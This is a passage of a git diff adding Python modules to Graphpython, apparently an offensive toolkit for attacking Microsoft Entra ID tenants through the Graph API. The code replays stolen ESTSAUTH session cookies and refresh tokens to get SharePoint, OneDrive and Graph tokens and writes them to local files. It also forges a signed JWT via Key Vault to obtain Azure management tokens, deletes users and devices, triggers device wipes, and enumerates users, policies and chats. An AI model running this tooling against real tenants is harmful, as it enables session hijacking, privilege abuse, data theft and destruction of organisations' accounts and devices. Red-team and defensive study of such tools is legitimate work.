"access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "onedrive_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get OneDrive token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-refreshtosharepointtoken +def invoke_refreshtosharepointtoken(args): + if not args.tenant: + print_red("[-] Error: --tenant argument is required for Invoke-RefreshToSharePointToken command") + return + + print_yellow("[*] Invoke-RefreshToSharePointToken") + print("=" * 80) + user_agent = get_user_agent(args) + client_id = "ab9b8c07-8f02-4f72-87fa-80105867a763" + refresh_token = get_access_token(args.token) + + try: + sharepoint_tenant = input("\nEnter SharePoint Tenant Name: ").strip() + use_admin = input("Use Admin Suffix '-admin' (yes/no): ").strip().lower() == 'yes' + admin_suffix = '-admin' if use_admin else '' + + except KeyboardInterrupt: + sys.exit() + + auth_url = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token?api-version=1.0" + resource = f"https://{sharepoint_tenant}{admin_suffix}.sharepoint.com" + + headers = { + "User-Agent": user_agent + } + + data = { + "resource": resource, + "client_id": client_id, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + data["claims"] = claims + + try: + response = requests.post(auth_url, data=data, headers=headers) + response.raise_for_status() + print_green("\n[+] Token Obtained!\n") + + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "sharepoint_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get SharePoint token: {str(e)}") + print_red(response.text) + print("=" * 80) + +# invoke-certtoaccesstoken +def invoke_certtoaccesstoken(args): + if not args.tenant or not args.cert or not args.id: + print_red("[-] Error: --tenant, --cert, and --id arguments are required for Invoke-CertToAccessToken command") + return + + print_yellow("[*] Invoke-CertToAccessToken") + print("=" * 80) + tenant_id = args.tenant + client_id = args.id + cert_path = args.cert + + try: + audience = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + with open(cert_path, 'rb') as cert_file: + pfx_data = cert_file.read() + + private_key, certificate, *_ = pkcs12.load_key_and_certificates(pfx_data, None, default_backend()) + # calculate x5t (X.509 cert SHA-1 thumbprint) + fingerprint = certificate.fingerprint(hashes.SHA1()) + x5t = base64.urlsafe_b64encode(fingerprint).rstrip(b'=').decode('ascii') + + payload = { + 'sub': client_id, + 'nbf': datetime.now(timezone.utc), + 'exp': datetime.now(timezone.utc) + timedelta(minutes=120), + 'iat': datetime.now(timezone.utc), + 'iss': client_id, + 'aud': audience + } + + private_key_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption() + ) + + jwt_token = jwt.encode(payload, private_key_pem, algorithm='RS256', headers={'kid': fingerprint.hex().upper(), 'x5t': x5t}) + user_agent = get_user_agent(args) + headers = { + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': user_agent + } + + data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_assertion_type': 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer', + 'client_assertion': jwt_token, + 'scope': 'https://graph.microsoft.com/.default' + } + + try: + response = requests.post(f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token", headers=headers, data=data) + response.raise_for_status() + print_green("[+] Token Obtained!\n") + token_json = response.json() + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "cert_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get certificate access token: {str(e)}") + print_red(response.text) + except Exception as e: + print_red(f"[-] Error loading .pfx file: {str(e)}") + print("=" * 80) + +# invoke-estscookietoaccesstoken +def invoke_estscookietoaccesstoken(args): + if not args.tenant or not args.estsauthcookie: + print_red("[-] Error: --tenant and --estsauthcookie are required for Invoke-ESTSCookieToAccessToken command") + return + + print_yellow("[*] Invoke-ESTSCookieToAccessToken") + print("=" * 80) + user_agent = get_user_agent(args) + + try: + client = input("\nEnter Client (MSTeams, MSEdge, AzurePowerShell): ").strip() + if client == "": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + print("Using Default Client: MSTeams") + elif client == "MSTeams": + client_id = "1fec8e78-bce4-4aaf-ab1b-5451cc387264" + elif client == "MSEdge": + client_id = "ecd6b820-32c2-49b6-98a6-444530e5a77a" + elif client == "AzurePowerShell": + client_id = "1950a258-227b-4e31-a9cf-717495945fc2" + else: + print_red(f"[-] Invalid client: {client}") + print("=" * 80) + sys.exit() + + except KeyboardInterrupt: + sys.exit() + + print() + resource = "https://graph.microsoft.com/" + headers = { + "User-Agent": user_agent + } + + ests_auth_cookie = get_access_token(args.estsauthcookie) + session = requests.Session() + + if ests_auth_cookie.startswith("ESTSAUTH="): + session.cookies.set("ESTSAUTH", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + elif ests_auth_cookie.startswith("ESTSAUTHPERSISTENT="): + session.cookies.set("ESTSAUTHPERSISTENT", ests_auth_cookie.split("=", 1)[1], domain="login.microsoftonline.com") + else: + print_red("[-] Invalid ESTS cookie format") + print("=" * 80) + sys.exit() + + state = str(uuid.uuid4()) + redirect_uri = "https://login.microsoftonline.com/common/oauth2/nativeclient" + auth_url = f"https://login.microsoftonline.com/common/oauth2/authorize?{urlencode({'response_type': 'code', 'client_id': client_id, 'resource': resource, 'redirect_uri': redirect_uri, 'state': state})}" + response = session.get(auth_url, headers=headers, allow_redirects=False) + + if response.status_code == 302: + location = response.headers['Location'] + parsed_url = urlparse(location) + query_params = parse_qs(parsed_url.query) + + if 'code' in query_params: + refresh_token = query_params['code'][0] + else: + print_red("[-] Code not found in redirected URL path") + print_red(f" Requested URL: {auth_url}") + print_red(f" Response Code: {response.status_code}") + print_red(f" Response URI: {location}") + print("=" * 80) + return None + else: + print_red("[-] Expected 302 redirect but received other status") + print_red(f"[-] Requested URL: {auth_url}") + print_red(f"[-] Response Code: {response.status_code}") + print_red("[-] The request may require user interaction to complete, or the provided cookie is invalid") + print("=" * 80) + return None + + if refresh_token: + token_url = "https://login.microsoftonline.com/common/oauth2/token" + body = { + "resource": resource, + "client_id": client_id, + "grant_type": "authorization_code", + "redirect_uri": redirect_uri, + "code": refresh_token, + "scope": "openid" + } + + if args.use_cae: + claims = json.dumps({ + "access_token": { + "xms_cc": { + "values": ["cp1"] + } + } + }, separators=(',', ':')) + body["claims"] = claims + + token_response = session.post(token_url, headers=headers, data=body) + token_response_json = token_response.json() + access_token = token_response_json.get('access_token') + + if access_token: + print_green("[+] Token Obtained!\n") + for key, value in token_response_json.items(): + print(f"[*] {key}: {value}") + + file_path = "estscookie_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_response_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + + print_green(f"\n[+] Token information written to '{file_path}'.") + print("=" * 80) + else: + print_red("[-] Failed to obtain access token.") + print("=" * 80) + return None + else: + print_red("[-] Refresh token is missing.") + print("=" * 80) + return None + +# invoke-appsecrettoaccesstoken +def invoke_appsecrettoaccesstoken(args): + if not args.tenant or not args.id or not args.secret: + print_red("[-] Error: --tenant, --id, and --secret required for Invoke-AppSecretToAccessToken command") + return + + print_yellow("[*] Invoke-AppSecretToAccessToken") + print("=" * 80) + + tenant_id = args.tenant + client_id = args.id + client_secret = args.secret + + token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + token_data = { + 'grant_type': 'client_credentials', + 'client_id': client_id, + 'client_secret': client_secret, + 'scope': 'https://graph.microsoft.com/.default' # can change e.g. 'https://management.azure.com/.default' for Az + } + + # check cae for client_credential grants + + user_agent = get_user_agent(args) + headers = { + "User-Agent": user_agent + } + + try: + token_response = requests.post(token_url, data=token_data, headers=headers) + token_response.raise_for_status() + token_json = token_response.json() + + print_green("[+] Token Obtained!\n") + for key, value in token_json.items(): + print(f"[*] {key}: {value}") + + file_path = "appsecret_tokens.txt" + with open(file_path, 'a') as writer: + writer.write(f"[+] Token Obtained! ({datetime.now()})\n") + for key, value in token_json.items(): + writer.write(f"[*] {key}: {value}\n") + writer.write("\n") + print_green(f"\n[+] Token information written to '{file_path}'.") + + except requests.exceptions.RequestException as e: + print_red(f"[-] Failed to get app secret token: {str(e)}") + if 'token_response' in locals(): + print_red(token_response.text) + + print("=" * 80) + +# new-signedjwt +def new_signedjwt(args): + if not args.tenant or not args.id: + print_red("[-] Error: --tenant and --id required for New-SignedJWT command") + return + + print_yellow("[*] New-SignedJWT") + print("=" * 80) + + try: + kvURI = input("\nEnter Key Vault Certificate Identifier URL: ").strip() + except KeyboardInterrupt: + sys.exit() + + keyName = kvURI.split('/certificates/', 1)[-1].split('/', 1)[0] + # cert details + kv_uri = f"{kvURI.split('/certificates/')[0]}/certificates?api-version=7.3" + + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}" + } + + response = requests.get(kv_uri, headers=headers) + response.raise_for_status() + certs = response.json() + cert_uri = next((c for c in certs['value'] if keyName in c['id']), None) + + if not cert_uri: + raise Exception("Certificate not found.") + + cert_id = cert_uri['id'] + cert_uri_with_version = f"{cert_id}?api-version=7.3" + response = requests.get(cert_uri_with_version, headers=headers) + response.raise_for_status() + certificate = response.json() + x5t = certificate.get('x5t') + kid = certificate.get('kid') + + print_green("\n[+] Certificate Details Obtained!") + print(f"kid: {kid or 'N/A'}") + print(f"x5t: {x5t or 'N/A'}") + + # create JWT + print_green("\n[+] Forged JWT:") + app_id = args.id + audience = f"https://login.microsoftonline.com/{args.tenant}/oauth2/token" + now = datetime.now(timezone.utc) + jwt_expiration = int((now + timedelta(minutes=2)).timestamp()) + not_before = int(now.timestamp()) + + jwt_header = { + "x5t": x5t, + "typ": "JWT", + "alg": "RS256" + } + + jwt_payload = { + "exp": jwt_expiration, + "sub": app_id, + "nbf": not_before, + "jti": str(uuid.uuid4()), + "aud": audience, + "iss": app_id + } + def base64url_encode(data): + return base64.urlsafe_b64encode(data.encode('utf-8')).decode('utf-8').rstrip('=') + + # encode header and payload + header_encoded = base64url_encode(json.dumps(jwt_header)) + payload_encoded = base64url_encode(json.dumps(jwt_payload)) + + # construct unsigned JWT + unsigned_jwt = f"{header_encoded}.{payload_encoded}" + jwt_sha256_hash = hashlib.sha256(unsigned_jwt.encode()).digest() + jwt_sha256_hash_b64 = base64.urlsafe_b64encode(jwt_sha256_hash).decode().rstrip('=') + + # sign JWT + new_uri = f"{kid}/sign?api-version=7.3" + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Accept": "application/json", + "User-Agent": user_agent + + } + request_body = { + "alg": "RS256", + "value": jwt_sha256_hash_b64 + } + + response = requests.post(new_uri, headers=headers, json=request_body) + response.raise_for_status() + signature = response.json()['value'] + signed_jwt = f"{unsigned_jwt}.{signature}" + print(signed_jwt) + + # request azure management token + jwt_login = f"https://login.microsoftonline.com/{args.tenant}/oauth2/v2.0/token" + parameters = { + "client_id": args.id, + "client_assertion": signed_jwt, + "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", + "scope": "https://management.azure.com/.default", + "grant_type": "client_credentials" + } + + response = requests.post(jwt_login, data=parameters) + + if not response.ok: + print_red(f"\n[-] Error: {response.status_code} ({response.reason}). {response.text}") + else: + print_green("\n[+] Azure Management Token Obtained!") + print(f"[*] Application ID: {args.id}") + print(f"[*] Tenant ID: {args.tenant}") + print("[*] Scope: https://management.azure.com/.default") + response_json = response.json() + for key, value in response_json.items(): + print(f"[*] {key}: {value}") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/cleanup.py b/Graphpython/commands/cleanup.py new file mode 100644 index 0000000..ea78391 --- /dev/null +++ b/Graphpython/commands/cleanup.py @@ -0,0 +1,152 @@ +import requests +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +########### +# Cleanup # +########### + +def delete_user(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-User command") + return + + print_yellow("[*] Delete-User") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] User deleted") + else: + print_red(f"[-] Failed to delete user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_group(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Group command") + return + + print_yellow("[*] Delete-Group") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group deleted") + else: + print_red(f"[-] Failed to delete group: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def remove_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Remove-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group member removed") + else: + print_red(f"[-] Failed to remove group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Application command") + return + + print_yellow("[*] Delete-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Application deleted") + else: + print_red(f"[-] Failed to delete application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def delete_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Device command") + return + + print_yellow("[*] Delete-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device deleted") + else: + print_red(f"[-] Failed to delete device: {response.status_code}") + print_red(response.text) + print("=" * 80) + +def wipe_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Wipe-Device command") + return + + print_yellow("[*] Wipe-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + body = { + "keepEnrollmentData": True, + "keepUserData": True, + "useProtectedWipe": False + } + + response = requests.post(api_url, headers=headers, json=body) + if response.ok: + print_green(f"[+] Device wipe initiated successfully") + else: + print_red(f"[-] Failed to initiate device wipe: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/enum.py b/Graphpython/commands/enum.py new file mode 100644 index 0000000..b9c47ff --- /dev/null +++ b/Graphpython/commands/enum.py @@ -0,0 +1,1108 @@ +import requests +import json +import os +import sys +import time +from bs4 import BeautifulSoup +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get + +########################## +# Post-Auth Enuemeration # +########################## + +# get-currentuser +def get_currentuser(args): + print_yellow("[*] Get-CurrentUser") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-currentuseractivities +def get_currentuseractivities(args): + print_yellow("[*] Get-CurrentUserActivities") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/activities" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-orginfo +def get_orginfo(args): + print_yellow("[*] Get-OrgInfo") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/organization" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-domains +def get_domains(args): + print_yellow("[*] Get-Domains") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/domains" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-user +def get_user(args): + print_yellow("[*] Get-User") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/users" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + access_token = get_access_token(args.token) + headers = { + 'Authorization': f'Bearer {access_token}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userproperties +def get_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + print_yellow("[*] Get-UserProperties") + print("=" * 80) + + for p in properties: + if not args.id: + api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" + else: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + print(f"{p}: {response_json.get(p, 'N/A')}") + else: + print_red(f"[-] Failed to retrieve {p}: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userprivileges +def get_userprivileges(args): + print_yellow("[*] Get-UserPrivileges") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/memberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-usertransitivegroupmembership +def get_usertransitivegroupmembership(args): + print_yellow("[*] Get-UserTransitiveGroupMembership") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-group +def get_group(args): + print_yellow("[*] Get-Group") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/groups" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-groupmember +def get_groupmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-GroupMember command") + return + print_yellow("[*] Get-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" + + if args.select: + api_url += f"?$select={args.select}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if 'value' in response_json and response_json['value']: + for item in response_json['value']: + for key, value in item.items(): + if key != "@odata.type": + if isinstance(value, list): + print(f"{key} :") + for list_item in value: + print(f" - {list_item}") + elif isinstance(value, dict): + print(f"{key} :") + for sub_key, sub_value in value.items(): + print(f" {sub_key} : {sub_value}") + else: + print(f"{key} : {value}") + print("\n") + else: + print_red("[-] Error: No members found in this group") + else: + print_red(f"[-] Failed to retrieve group members: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userapproleassignments +def get_userapproleassignments(args): + print_yellow("[*] Get-UserAppRoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-conditionalaccesspolicy +def get_conditionalaccesspolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") + return + + print_yellow("[*] Get-ConditionalAccessPolicy") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve CAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-application +def get_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Application command") + return + + print_yellow("[*] Get-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + for key, value in response_json.items(): + if key == "requiredResourceAccess": + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + elif key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-appserviceprincipal +def get_appserviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") + return + + print_yellow("[*] Get-AppServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-serviceprincipal +def get_serviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") + return + + print_yellow("[*] Get-ServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-serviceprincipalapproleassignments +def get_serviceprincipalapproleassignments(args): + print_yellow("[*] Get-ServicePrincipalAppRoleAssignments") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-personalcontacts +def get_personalcontacts(args): + print_yellow("[*] Get-PersonalContacts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/contacts" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-crosstenantaccesspolicy +def get_crosstenantaccesspolicy(args): + print_yellow("[*] Get-CrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-partnercrosstenantaccesspolicy +def get_partnercrosstenantaccesspolicy(args): + print_yellow("[*] Get-PartnerCrossTenantAccessPolicy") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" + + if args.id: + api_url += f"/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userchatmessages +def get_userchatmessages(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserChatMessages command") + return + print_yellow("[*] Get-UserChatMessages") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-administrativeunitmember +def get_administrativeunitmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") + return + + 